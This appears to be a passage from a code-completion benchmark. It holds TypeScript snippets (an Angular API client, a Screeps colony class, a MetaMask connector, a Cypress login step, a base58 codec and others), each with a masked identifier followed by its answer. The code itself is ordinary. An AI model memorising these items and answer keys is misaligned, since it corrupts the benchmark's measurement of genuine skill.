  ): Observable<HttpEvent<AccountNoteResponse>>;
  public getNotesByAccountId(
    accountId: number,
    page: number,
    size: number,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<AccountNoteResponse>;
  public getNotesByAccountId(
    accountId: number,
    page: number,
    size: number,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (accountId === null || accountId === undefined) {
      throw new Error('Required parameter accountId was null or undefined when calling getNotesByAccountId.');
    }
    if (page === null || page === undefined) {
      throw new Error('Required parameter page was null or undefined when calling getNotesByAccountId.');
    }
    if (size === null || size === undefined) {
      throw new Error('Required parameter size was null or undefined when calling getNotesByAccountId.');
    }

    let queryParameters = new HttpParams({ encoder: this.encoder });
    if (accountId !== undefined && accountId !== null) {
      queryParameters = this.addToHttpParams(queryParameters, <any>accountId, 'accountId');
    }
    if (page !== undefined && page !== null) {
      queryParameters = this.addToHttpParams(queryParameters, <any>page, 'page');
    }
    if (size !== undefined && size !== null) {
      queryParameters = this.addToHttpParams(queryParameters, <any>size, 'size');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.get<AccountNoteResponse>(`${this.configuration.basePath}/v1.0/account-notes`, {
      params: queryParameters,
      responseType: <any>responseType_,
      withCredentials: this.configuration.withCredentials,
      headers: headers,
      observe: observe,
      reportProgress: reportProgress,
    });
  }

  /**
   * Update an account note
   * @param id The note id
   * @param noteRequest
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public updateAccountNote(id: number, noteRequest: NoteRequest): Observable<any>;
  public updateAccountNote(
    id: number,
    noteRequest: NoteRequest,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<any>>;
  public updateAccountNote(
    id: number,
    noteRequest: NoteRequest,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<any>>;
  public updateAccountNote(
    id: number,
    noteRequest: NoteRequest,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any>;
  public updateAccountNote(
    id: number,
    noteRequest: NoteRequest,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (id === null || id === undefined) {
      throw new Error('Required parameter id was null or undefined when calling updateAccountNote.');
    }
    if (noteRequest === null || noteRequest === undefined) {
      throw new Error('Required parameter noteRequest was null or undefined when calling updateAccountNote.');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    // to determine the Content-Type header
    const consumes: string[] = ['application/json'];
    const httpContentTypeSelected: string | undefined = this.configuration.selectHeaderContentType(consumes);
    if (httpContentTypeSelected !== undefined) {
      headers = headers.set('Content-Type', httpContentTypeSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.put<any>(
      `${this.configuration.basePath}/v1.0/account-notes/${encodeURIComponent(String(id))}`,
      noteRequest,
      {
        responseType: <any>responseType_,
        withCredentials: this.configuration.withCredentials,
        headers: headers,
        observe: observe,
        reportProgress: reportProgress,
      },
    );
  }

  /**
   * Upload a note file
   * @param accountId The account id
   * @param file The note file
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public uploadAccountNoteFile(accountId: number, file: Blob): Observable<FileUuidDTO>;
  public uploadAccountNoteFile(
    accountId: number,
    file: Blob,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<FileUuidDTO>>;
  public uploadAccountNoteFile(
    accountId: number,
    file: Blob,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<FileUuidDTO>>;
  public uploadAccountNoteFile(
    accountId: number,
    file: Blob,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<FileUuidDTO>;
  public uploadAccountNoteFile(
    accountId: number,
    file: Blob,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (accountId === null || accountId === undefined) {
      throw new Error('Required parameter accountId was null or undefined when calling uploadAccountNoteFile.');
    }
    if (file === null || file === undefined) {
      throw new Error('Required parameter file was null or undefined when calling uploadAccountNoteFile.');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    // to determine the Content-Type header
    const consumes: string[] = ['multipart/form-data'];

    const canConsumeForm = this.canConsumeForm(consumes);

    let formParams: { append(param: string, value: any): any };
    let useForm = false;
    const  [MASK]  = false;
    // use FormData to transmit files using content-type ""multipart/form-data""
    // see https://stackoverflow.com/questions/4007969/application-x-www-form-urlencoded-or-multipart-form-data
    useForm = canConsumeForm;
    if (useForm) {
      formParams = new FormData();
    } else {
      formParams = new HttpParams({ encoder: this.encoder });
    }

    if (file !== undefined) {
      formParams = (formParams.append('file', <any>file) as any) || formParams;
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.post<FileUuidDTO>(
      `${this.configuration.basePath}/v1.0/account-notes/upload/account/${encodeURIComponent(String(accountId))}`,
       [MASK]  ? formParams.toString() : formParams,
      {
        responseType: <any>responseType_,
        withCredentials: this.configuration.withCredentials,
        headers: headers,
        observe: observe,
        reportProgress: reportProgress,
      },
    );
  }
}
",convertFormParamsToString
963,"import { HttpContext, HttpContextToken } from ""./http"";
export interface IHttpContext {
  ACCESS_TOKEN?: boolean,
  SHOW_LOADING?: boolean,
  SHOW_ERROR?: boolean,
  IS_CACHE_ENABLED?: boolean
  RESET_CACHE?: boolean
}
const ACCESS_TOKEN = new HttpContextToken<boolean>(() => false);
const SHOW_LOADING = new HttpContextToken<boolean>(() => false);
const IS_CACHE_ENABLED = new HttpContextToken<boolean>(() => false);
const RESET_CACHE = new HttpContextToken<boolean>(() => false);

export const CONTEXT_TOKEN = {
  ACCESS_TOKEN,
  SHOW_LOADING,
  IS_CACHE_ENABLED,
  RESET_CACHE
}

const context = new HttpContext();

export const generateContext = ( [MASK] : IHttpContext): HttpContext => {
  for (let cntxt in  [MASK] ) {
    switch (cntxt) {
      case 'ACCESS_TOKEN': context.set(CONTEXT_TOKEN.ACCESS_TOKEN,  [MASK] [cntxt]);
        break;
      case 'SHOW_LOADING': context.set(CONTEXT_TOKEN.SHOW_LOADING,  [MASK] [cntxt]);
        break;
      case 'IS_CACHE_ENABLED': context.set(CONTEXT_TOKEN.IS_CACHE_ENABLED,  [MASK] [cntxt]);
        break;
      case 'RESET_CACHE': context.set(CONTEXT_TOKEN.RESET_CACHE,  [MASK] [cntxt]);
        break;
    }
  }
  return context;
}",contextList
964,"import { CreepSpawner } from ""CreepSpawner"";
import { SpawnQueue, SpawnQueueMemory } from ""SpawnQueue"";
import { CreepBuilder } from ""CreepBuilder"";
import { ResourcePlanner, ResourcePlannerMemory } from ""planning/ResourcePlanner"";
import { BaseBuilder, HatchlingBuilder } from ""baseBuilding/HatchingBuilder"";

interface ColonyMemory {
    state: ColonyState;
    room: string;
    mainSpawn: string;
    resourcePlanner: ResourcePlannerMemory;
    spawnQueue: SpawnQueueMemory;
}

enum ColonyState {
    Hatchling,
    Larva,
    Pupa,
    Mature
}

export interface IColony {
    readonly name: string;
    readonly mainSpawn: StructureSpawn | null;
    readonly creeps: Creep[];
    readonly mainRoom: Room;
}

export class Colony implements IColony {
    private _memory: ColonyMemory;
    private _mainRoom: Room;

    private _creepSpawner: CreepSpawner;
    private _resourcePlanner: ResourcePlanner;
    private _baseBuilder: BaseBuilder;

    public constructor(private _roomName: string) {
        let  [MASK]  = false;
        if (Memory.colonies[_roomName] === undefined) {
            Memory.colonies[_roomName] = {
                resourcePlanner: {},
                spawnQueue: []
            };

             [MASK]  = true;
        }

        this._memory = Memory.colonies[_roomName];
        this._mainRoom = Game.rooms[_roomName];

        if ( [MASK] ) {
            this.intializeColony();
        }
    }

    public run(): void {
        this.init();

        this._resourcePlanner.run();
        this._baseBuilder.run();

        // Spawner should run last, otherwise spawn requests will be removed from the queue but the creep won't exist yet in the census.
        this._creepSpawner.run();
    }

    private intializeColony(): void {
        console.log(`Found a new colony, initializing...`);
        this._memory.state = ColonyState.Hatchling;

        this.checkMainSpawn();
    }

    private checkMainSpawn(): void {
        if (!this._memory.mainSpawn) {
            const spawns = this._mainRoom.find(FIND_MY_SPAWNS);
            const spawn = spawns[0];
            if (spawn) {
                this._memory.mainSpawn = spawn.name;
            }
        }
    }

    private init(): void {
        this.createInstances();
    }

    private createInstances(): void {
        const spawnQueue = new SpawnQueue(this._memory.spawnQueue);
        const bodyBuilder = new CreepBuilder();
        this._creepSpawner = new CreepSpawner(this._mainRoom, spawnQueue, bodyBuilder);
        this._resourcePlanner = new ResourcePlanner(this, spawnQueue, this._memory.resourcePlanner);
        this._baseBuilder = new HatchlingBuilder(this);
    }

    public get name(): string {
        return this.mainRoom.name;
    }

    public get mainSpawn(): StructureSpawn | null {
        return this._memory.mainSpawn ? Game.spawns[this._memory.mainSpawn] || null : null;
    }

    public get creeps(): Creep[] {
        return this._mainRoom.find(FIND_MY_CREEPS);
    }

    public get mainRoom(): Room {
        return this._mainRoom;
    }
}
",firstRun
965,"import { FundInfoListItemType } from ""../type/fund"";

// 在天天基金拿到的数据源内容如下
// [基金代码, 基金名称, 基金简称, 计算日期, 单位净值, 累计净值, 日增长率, 近一周, 近一个月, 近3个月, 近6个月, 近1年, 近3年, 今年来, 成立来, 成立时间]
export default class Fund {
  fundInfoList: FundInfoListItemType[];

  constructor(fundInfoList) {
    this.fundInfoList = fundInfoList.map(infoText => {
      const [
        code, // 001951
        name, // 金鹰改革红利混合
        nameCode, // JYGGHLHH
        currentDate, // 当前数据日期 2021-03-02
        companyNetWorth, // 单位净值 2.4990
        cumulativeNetWorth, // 累计净值 2.4990
        dayGrowthRate, // 日增长率 -2.08
        weekGrowthRate, // 近一周增长率 -6.54
        monthGrowthRate, // 近一个月增长率 -3.59
        seasonGrowthRate, // 近3个月增长率 40.79
        halfYearGrowthRate, // 近6个月增长率 64.84
        yearGrowthRate, // 近一年增长率 88.32
        year2GrowthRate, // 近2年增长率 152.68
        year3GrowthRate, // 近3年增长率 113.96
        thisYearGrowthRate, // 今年以来增长率 13.59
        yearGrowthRateAll, // 成立以来增长率 149.90
        creationTime //成立日期
      ] = infoText.split("","");

      return {
        code,
        name,
        nameCode,
        currentDate,
        companyNetWorth,
        cumulativeNetWorth,
        dayGrowthRate,
        weekGrowthRate,
        seasonGrowthRate,
        halfYearGrowthRate,
        yearGrowthRate,
        year3GrowthRate,
        thisYearGrowthRate,
        yearGrowthRateAll,
        creationTime,
        monthGrowthRate,
        year2GrowthRate,
      }
    });
  }

  // 移除N年内的新基金
  removalDateOf(year) {
    const { fundInfoList } = this;
    this.fundInfoList = fundInfoList.filter((item) => {
      return (+new Date()) - (31536000000 * year) > +new Date(item.creationTime);
    });
  }

  // 移除累计净值低于N的基金
  removalCumulativeNetWorthOf(cumulativeNetWorth) {
    const { fundInfoList } = this;
    this.fundInfoList = fundInfoList.filter((item) => {
      return Number(item.cumulativeNetWorth) > cumulativeNetWorth;
    });
  }

  // 对基金进行逐个排查, 每次仅排查一个基金
  filterSync(callback: Function) {
    return new Promise((resolve) => {
      const { fundInfoList } = this;
      const that = this;
      const filterFundList = [];
      let index = -1;

      function next( [MASK] ) {
         [MASK]  &&
          filterFundList.push(fundInfoList[index]);

        index += 1;
        const item = fundInfoList[index];
        if (item) {
          callback(item, next);
        } else {
          that.fundInfoList = filterFundList;
          resolve(filterFundList);
        }
      }

      next(false);
    });
  }
}
",isPass
966,"import detectEthereumProvider from ""@metamask/detect-provider"";

export async function connectMetaMask() {
  const  [MASK]  = await detectMetaMask();

  if ( [MASK] ) {
    console.log(""MetaMask successfully detected!"");
    try {
      await (window as any).ethereum
        .request({
          method: ""eth_requestAccounts"",
        })
        .then((newAcct: any) => newAcct)
        .catch((err: any) => {
          if (err.code === 4001)
            console.log(""User rejected connection request to MetaMask"");
          return err.code; // 4001 code means user rejected request
        });
    } catch (err) {
      console.error(err);
    }
  } else {
    // if the provider is not detected, detectEthereumProvider resolves to null
    console.error(""Please install MetaMask!"");
    return null;
  }
}

export async function detectMetaMask() {
  const provider = await detectEthereumProvider();

  if (provider) {
    // console.log(""MetaMask successfully detected!"");
    return true;
  } else {
    return false;
  }
}
",metaMaskExist
967,"import * as ts from 'typescript';
import { factory } from 'typescript';
import { AssertionType, KeyStartsWithIS, Params, staticAssertType } from './types';

/** Special cases where defaults for empty array arguments are undefined instead of actually empty arrays */
type NO_SPECIAL = {
    TypeArguments?: ts.TypeNode[];
    TypeParameters?: ts.TypeParameterDeclaration[];
};

/**
Maps the name of all asserted types of Type Guards with to a property of either said type or `undefined`.

ex: `function isExpression(node: Node): node is Expression;` becomes `Expression: ts.Expression | undefined;`
*/
type NOType = NO_SPECIAL & {
    [Key in keyof typeof ts as KeyStartsWithIS<Key>]: AssertionType<(typeof ts)[Key]> | undefined;
};

function cast<T>( [MASK] : any): T {
    return  [MASK] ;
}

/** All property accesses intentionally return `undefined`. Typecast for auto-completion/type-checking.
 *
 * i.e. `tsc` believes `NO.Expression` is type `Expression | undefined` and `NO.TypeArguments` is `TypeNode[] | undefined`, but both will always actually be `undefined`.*/
export const NO: NOType = cast<NOType>({});

staticAssertType<ts.AccessorDeclaration | undefined>(NO.Accessor);

export namespace EMPTY {
    export const MODIFIERS: ts.Modifier[] = [];
    export const MEMBERS: ts.TypeElement[] = [];
}

export const EXPORT_MODIFIER_ONLY: ts.Modifier[] = [factory.createModifier(ts.SyntaxKind.ExportKeyword)];
export const CHILD_METHOD_PARAMETERS: Params = { index: factory.createTypeReferenceNode('number') };

export const TOKEN = {
    QUESTION: factory.createToken(ts.SyntaxKind.QuestionToken),
    TRIPLE_EQUALS: factory.createToken(ts.SyntaxKind.EqualsEqualsEqualsToken),
    FAT_ARROW: factory.createToken(ts.SyntaxKind.EqualsGreaterThanToken),
};

export const IDENTIFIER = {
    NODE: factory.createIdentifier('node'),
    SYNTAX_NODE: factory.createIdentifier('SyntaxNode'),
    SYNTAX_NODE_OF_TYPE: factory.createIdentifier('SyntaxNodeOfType'),
    NODE_IS: factory.createIdentifier('nodeIs'),
};

export const NODE_QUESTION_DOT_TYPE: ts.PropertyAccessChain = factory.createPropertyAccessChain(
    IDENTIFIER.NODE,
    factory.createToken(ts.SyntaxKind.QuestionDotToken),
    'type'
);

export const TYPE_REFERENCE = {
    NULL: factory.createTypeReferenceNode('null'),
    SYNTAX_NODE: factory.createTypeReferenceNode('SyntaxNode'),
};

export const NODE_PARAMETER: ts.ParameterDeclaration = factory.createParameterDeclaration(
    EMPTY.MODIFIERS,
    NO.DotDotDotToken,
    'node',
    TOKEN.QUESTION,
    TYPE_REFERENCE.SYNTAX_NODE
);
",object
968,"import { ApiClient } from './client'
import { Constants } from '../utils/constants'
import { ConfigInitProps } from '../interfaces/config'
import { FundsApiInterface } from '../interfaces/funds'
import { GetEnergyResponse } from '../interfaces/responses/get-energy'
import { ConsumeEnergyResponse } from '../interfaces/responses/consume-energy'
import { DistributeRewardsResponse } from '../interfaces/responses/distribute-rewards'
import { GetSecondaryCurrencyResponse } from '../interfaces/responses/get-secondary-currency'
import { GetEarningsResponse } from '../interfaces/responses/get-earnings'

export class ColizeumFunds extends ApiClient implements FundsApiInterface {
    constructor(config?: ConfigInitProps) {
        super(`${Constants.API_URL}/funds`, config)
    }

    public getEnergy(): Promise<GetEnergyResponse> {
        return this.authorizedRequest('GET', '/energy')
    }

    public consumeEnergy(amount: number, tokenId?: string): Promise<ConsumeEnergyResponse> {
        const payload: any = {
            amount,
        }

        if (tokenId) {
            payload.token_id = tokenId
        }

        return this.authorizedRequest('POST', '/energy/consume', payload)
    }

    public distributeRewards(
         [MASK] : string[],
        distribution: number[]
    ): Promise<DistributeRewardsResponse> {
        return this.serviceRequest('POST', '/energy/rewards', {
            request_ids:  [MASK] ,
            distribution: distribution,
        })
    }

    public getSecondaryCurrency(): Promise<GetSecondaryCurrencyResponse> {
        return this.authorizedRequest('GET', '/secondary_currency')
    }

    public getEarnings(): Promise<GetEarningsResponse> {
        return this.authorizedRequest('GET', '/earnings')
    }
}
",requestIds
969,"import { Given } from '@badeball/cypress-cucumber-preprocessor';


Given('user logged in as {string}', function(userType) {
  let loginMail = '';
  let  [MASK]  = '';
  switch (userType) {
    case 'supervisor': {
      loginMail = Cypress.env('SUPERVISOR_LOGIN');
       [MASK]  = Cypress.env('SUPERVISOR_PW');
      break;
    }
    case 'user': {
      loginMail = Cypress.env('USER_LOGIN');
       [MASK]  = Cypress.env('USER_PW');
      break;
    }
    case 'admin': {
      loginMail = Cypress.env('ADMIN_LOGIN');
       [MASK]  = Cypress.env('ADMIN_PW');
      break;
    }

  }

  cy.visit('https://centralidp.dev.demo.catena-x.net/auth/realms/CX-Central/protocol/openid-connect/auth?client_id=Cl17-CX-Part&redirect_uri=https%3A%2F%2Ftraceability-portal-e2e-a.dev.demo.catena-x.net%2Fdashboard&state=0aaee615-388e-400c-8b0c-81ac443a2cf3&response_mode=fragment&response_type=code&scope=openid&nonce=4104d5ab-b2bd-43a1-b6c2-7adf30543579&code_challenge=uXHR3gDRnSyjPEu8yWNdzm6Izsd7cKzEryfvRAtJTjU&code_challenge_method=S256');
  cy.get('.search').click();
  cy.get('.search').type('CX-Test-Access');
  cy.get('.CX_Test_Access').click();
  cy.get('input[name=""username""]').type(loginMail);
  cy.get('input[name=""password""]').click().focus().type( [MASK] , {log:false});
  cy.get('input[type=""submit""]').click();
});


Given('user is directed to the {string}', function(value) {
  cy.get('div.layout-content').should('exist');
});
",loginPW
970,"import type { ProcessorOptions, Track, TrackProcessor } from 'livekit-client';
import { TrackTransformer } from './transformers';

export default class ProcessorWrapper<TransformerOptions extends Record<string, unknown>>
  implements TrackProcessor<Track.Kind> {
  static get isSupported() {
    return (
      typeof MediaStreamTrackGenerator !== 'undefined' &&
      typeof MediaStreamTrackProcessor !== 'undefined'
    );
  }

  name: string;

  source?: MediaStreamVideoTrack;

  sourceSettings?: MediaTrackSettings;

  processor?: MediaStreamTrackProcessor<VideoFrame>;

  trackGenerator?: MediaStreamTrackGenerator<VideoFrame>;

  canvas?: OffscreenCanvas;

  sourceDummy?: HTMLMediaElement;

  processedTrack?: MediaStreamTrack;

  transformer: TrackTransformer<TransformerOptions>;

  constructor(transformer: TrackTransformer<TransformerOptions>, name: string) {
    this.name = name;
    this.transformer = transformer;
    this.transformer.restart;
  }

  private async setup(opts: ProcessorOptions<Track.Kind>) {
    this.source = opts.track as MediaStreamVideoTrack;
    const origConstraints = this.source.getConstraints();
    await this.source.applyConstraints({
      ...origConstraints,
      // @ts-expect-error when a mediastream track is resized and/or cropped, the `VideoFrame` will have a coded height/width of the original video size
      // this leads to a shift of the underlying video as the frame itself is being rendered with the coded size
      // but image segmentation is based on the display dimensions (-> the cropped version)
      // in order to prevent this, we force the resize mode to ""none""
      resizeMode: 'none',
    });
    this.sourceSettings = this.source.getSettings();
    this.sourceDummy = opts.element;
    if (this.sourceDummy instanceof HTMLVideoElement) {
      this.sourceDummy.height = this.sourceSettings.height ?? 300;
      this.sourceDummy.width = this.sourceSettings.width ?? 300;
    }
    if (!(this.sourceDummy instanceof HTMLVideoElement)) {
      throw TypeError('Currently only video transformers are supported');
    }
    // TODO explore if we can do all the processing work in a webworker
    this.processor = new MediaStreamTrackProcessor({ track: this.source });

    this.trackGenerator = new MediaStreamTrackGenerator({
      kind: 'video',
      signalTarget: this.source,
    });

    this.canvas = new OffscreenCanvas(
      this.sourceSettings.width ?? 300,
      this.sourceSettings.height ?? 300,
    );

  }

  async init(opts: ProcessorOptions<Track.Kind>) {
    await this.setup(opts);
    if (!this.canvas || !this.processor || !this.trackGenerator) {
      throw new TypeError('Expected both canvas and processor to be defined after setup');
    }

    let  [MASK]  = this.processor.readable;

    await this.transformer.init({
      outputCanvas: this.canvas,
      inputElement: this.sourceDummy as HTMLVideoElement,
    });
     [MASK]  =  [MASK] .pipeThrough(this.transformer!.transformer!);

     [MASK] 
      .pipeTo(this.trackGenerator.writable)
      .catch((e) => console.error('error when trying to pipe', e))
      .finally(() => this.destroy());
    this.processedTrack = this.trackGenerator as MediaStreamVideoTrack;
  }

  async restart(opts: ProcessorOptions<Track.Kind>) {
    await this.destroy();
    return this.init(opts);
  }

  async restartTransformer(...options: Parameters<(typeof this.transformer)['restart']>) {
    // @ts-ignore unclear why the restart method only accepts VideoTransformerInitOptions instead of either those or AudioTransformerInitOptions
    this.transformer.restart(options[0]);
  }

  async updateTransformerOptions(...options: Parameters<(typeof this.transformer)['update']>) {
    this.transformer.update(options[0]);
  }

  async destroy() {
    await this.transformer.destroy();
    this.trackGenerator?.stop();
  }
}
",readableStream
971,"import { APP_BASE_HREF, Location } from '@angular/common';
import { Component, forwardRef, Type } from '@angular/core';
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { By } from '@angular/platform-browser';
import { Router, Routes } from '@angular/router';
import { RouterTestingModule } from '@angular/router/testing';

import { AppRoutingModule, routes } from './app.routing.module';
import { CounterComponent } from './components/counter/counter.component';
import { HomeComponent } from './components/home/home.component';
import { NgRxCounterComponent } from './components/ngrx-counter/ngrx-counter.component';
import { ServiceCounterComponent } from './components/service-counter/service-counter.component';
import { findComponent } from './spec-helpers/element.spec-helper';

describe('AppRoutingModule', () => {
  beforeEach(() => {
    TestBed.configureTestingModule({
      imports: [AppRoutingModule],
      providers: [{ provide: APP_BASE_HREF, useValue: '/' }],
    });
  });

  it('initializes', () => {
    const  [MASK]  = TestBed.inject(AppRoutingModule);
    expect( [MASK] ).toBeTruthy();
  });
});

@Component({
  template: '<router-outlet></router-outlet>',
})
class RouterOutletComponent {}

function fakeComponent<T>(component: Type<T>): Type<T> {
  @Component({
    providers: [
      {
        provide: component,
        useExisting: forwardRef(() => FakeComponent),
      },
    ],
  })
  class FakeComponent {}

  return FakeComponent as Type<T>;
}

// Replace all components in the routes with a fake
const fakeRoutes: Routes = routes.map((route) => ({
  ...route,
  // eslint-disable-next-line @typescript-eslint/no-non-null-assertion
  component: fakeComponent(route.component!),
}));

describe('AppRoutingModule: routes', () => {
  let fixture: ComponentFixture<RouterOutletComponent>;
  let router: Router;
  let location: Location;

  function expectComponent(component: Type<any>): void {
    expect(fixture.debugElement.query(By.directive(component))).toBeTruthy();
  }

  beforeEach(async () => {
    await TestBed.configureTestingModule({
      imports: [RouterTestingModule.withRoutes(fakeRoutes)],
      declarations: [RouterOutletComponent],
    }).compileComponents();
  });

  beforeEach(() => {
    router = TestBed.inject(Router);
    location = TestBed.inject(Location);

    fixture = TestBed.createComponent(RouterOutletComponent);

    // Fixes necessary for https://github.com/angular/angular/issues/25837

    // eslint-disable-next-line @typescript-eslint/no-non-null-assertion
    fixture.ngZone!.run(() => {
      router.initialNavigation();
    });

    const originalNavigate = router.navigate;
    router.navigate = (commands, extras) => {
      let promise: Promise<boolean> = Promise.resolve(false);
      // eslint-disable-next-line @typescript-eslint/no-non-null-assertion
      fixture.ngZone!.run(() => {
        promise = originalNavigate.call(router, commands, extras);
      });
      return promise;
    };
  });

  it('routes / to the HomeComponent', async () => {
    await router.navigate(['']);
    expectComponent(HomeComponent);
  });

  it('routes /counter-component', async () => {
    await router.navigate(['counter-component']);
    expect(location.path()).toBe('/counter-component');
    expectComponent(CounterComponent);
  });

  it('routes /service-counter-component', async () => {
    await router.navigate(['service-counter-component']);
    expect(location.path()).toBe('/service-counter-component');
    expectComponent(ServiceCounterComponent);
  });

  it('routes /ngrx-counter-component', async () => {
    await router.navigate(['ngrx-counter-component']);
    expect(location.path()).toBe('/ngrx-counter-component');
    expectComponent(NgRxCounterComponent);
  });
});
",appRoutingModule
972," 
/**
 * Forked from third-party library.
 * @see https://github.com/denoland/deno_std/blob/627844f47fffd4319186df46beff6f38588887ff/encoding/base58.ts
 * @copyright the Deno authors. All rights reserved.
 * @license MIT
 */

/**
 * {@linkcode encode} and {@linkcode decode} for
 * [base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58) encoding.
 *
 * This module is browser compatible.
 *
 * @module
 */

// deno-fmt-ignore
const mapBase58: Record<string, number> = {
  '1': 0,
  '2': 1,
  '3': 2,
  '4': 3,
  '5': 4,
  '6': 5,
  '7': 6,
  '8': 7,
  '9': 8,
  A: 9,
  B: 10,
  C: 11,
  D: 12,
  E: 13,
  F: 14,
  G: 15,
  H: 16,
  J: 17,
  K: 18,
  L: 19,
  M: 20,
  N: 21,
  P: 22,
  Q: 23,
  R: 24,
  S: 25,
  T: 26,
  U: 27,
  V: 28,
  W: 29,
  X: 30,
  Y: 31,
  Z: 32,
  a: 33,
  b: 34,
  c: 35,
  d: 36,
  e: 37,
  f: 38,
  g: 39,
  h: 40,
  i: 41,
  j: 42,
  k: 43,
  m: 44,
  n: 45,
  o: 46,
  p: 47,
  q: 48,
  r: 49,
  s: 50,
  t: 51,
  u: 52,
  v: 53,
  w: 54,
  x: 55,
  y: 56,
  z: 57
}

const base58alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'.split('')

/**
 * Encodes a given Uint8Array, ArrayBuffer or string into draft-mspotny-base58-03 RFC base58 representation:
 * https://tools.ietf.org/id/draft-msporny-base58-01.html#rfc.section.1
 *
 * @param {ArrayBuffer | string} data
 *
 * @returns {string} Encoded value
 */
export function base58Encode(data: ArrayBuffer | string): string {
  const uint8tData =
     
    typeof data === 'string' ? new TextEncoder().encode(data) : data instanceof Uint8Array ? data : new Uint8Array(data)

  let length = 0
  let zeroes = 0

  // Counting leading zeroes
  let index = 0
  while (uint8tData[index] === 0) {
    zeroes++
    index++
  }

  const notZeroUint8Data = uint8tData.slice(index)

  const size = Math.round((uint8tData.length * 138) / 100 + 1)
  const b58Encoding: number[] = []

  notZeroUint8Data.forEach(byte => {
    let i = 0
    let carry = byte

    for (
      let reverse_iterator = size - 1;
      (carry > 0 || i < length) && reverse_iterator !== -1;
      reverse_iterator--, i++
    ) {
      carry += (b58Encoding[reverse_iterator] ?? 0) * 256
      b58Encoding[reverse_iterator] = Math.round(carry % 58)
      carry = Math.floor(carry / 58)
    }

    length = i
  })

  const strResult: string[] = Array.from({
    length: b58Encoding.length + zeroes
  })

  if (zeroes > 0) {
    strResult.fill('1', 0, zeroes)
  }

  b58Encoding.forEach(byteValue => strResult.push(base58alphabet[byteValue]!))

  return strResult.join('')
}

/**
 * Decodes a given b58 string according to draft-mspotny-base58-03 RFC base58 representation:
 * https://tools.ietf.org/id/draft-msporny-base58-01.html#rfc.section.1
 *
 * @param {string} b58
 *
 * @returns {Uint8Array} Decoded value
 */
export function base58Decode(b58: string): Uint8Array {
  const splittedInput = b58.trim().split('')

  let length = 0
  let ones = 0

  // Counting leading ones
  let index = 0
  while (splittedInput[index] === '1') {
    ones++
    index++
  }

  const  [MASK]  = splittedInput.slice(index)

  const size = Math.round((b58.length * 733) / 1000 + 1)
  const output: number[] = []

   [MASK] .forEach((char, idx) => {
    let carry = mapBase58[char]
    let i = 0

    if (carry === undefined) {
      throw new Error(`Invalid base58 char at index ${idx} with value ${char}`)
    }

    for (
      let reverse_iterator = size - 1;
      (carry > 0 || i < length) && reverse_iterator !== 0;
      --reverse_iterator, ++i
    ) {
      carry += 58 * (output[reverse_iterator - 1] ?? 0)
      output[reverse_iterator - 1] = Math.round(carry % 256)
      carry = Math.floor(carry / 256)
    }

    length = i
  })

  const validOutput = output.filter(item => item ?? false)

  if (ones > 0) {
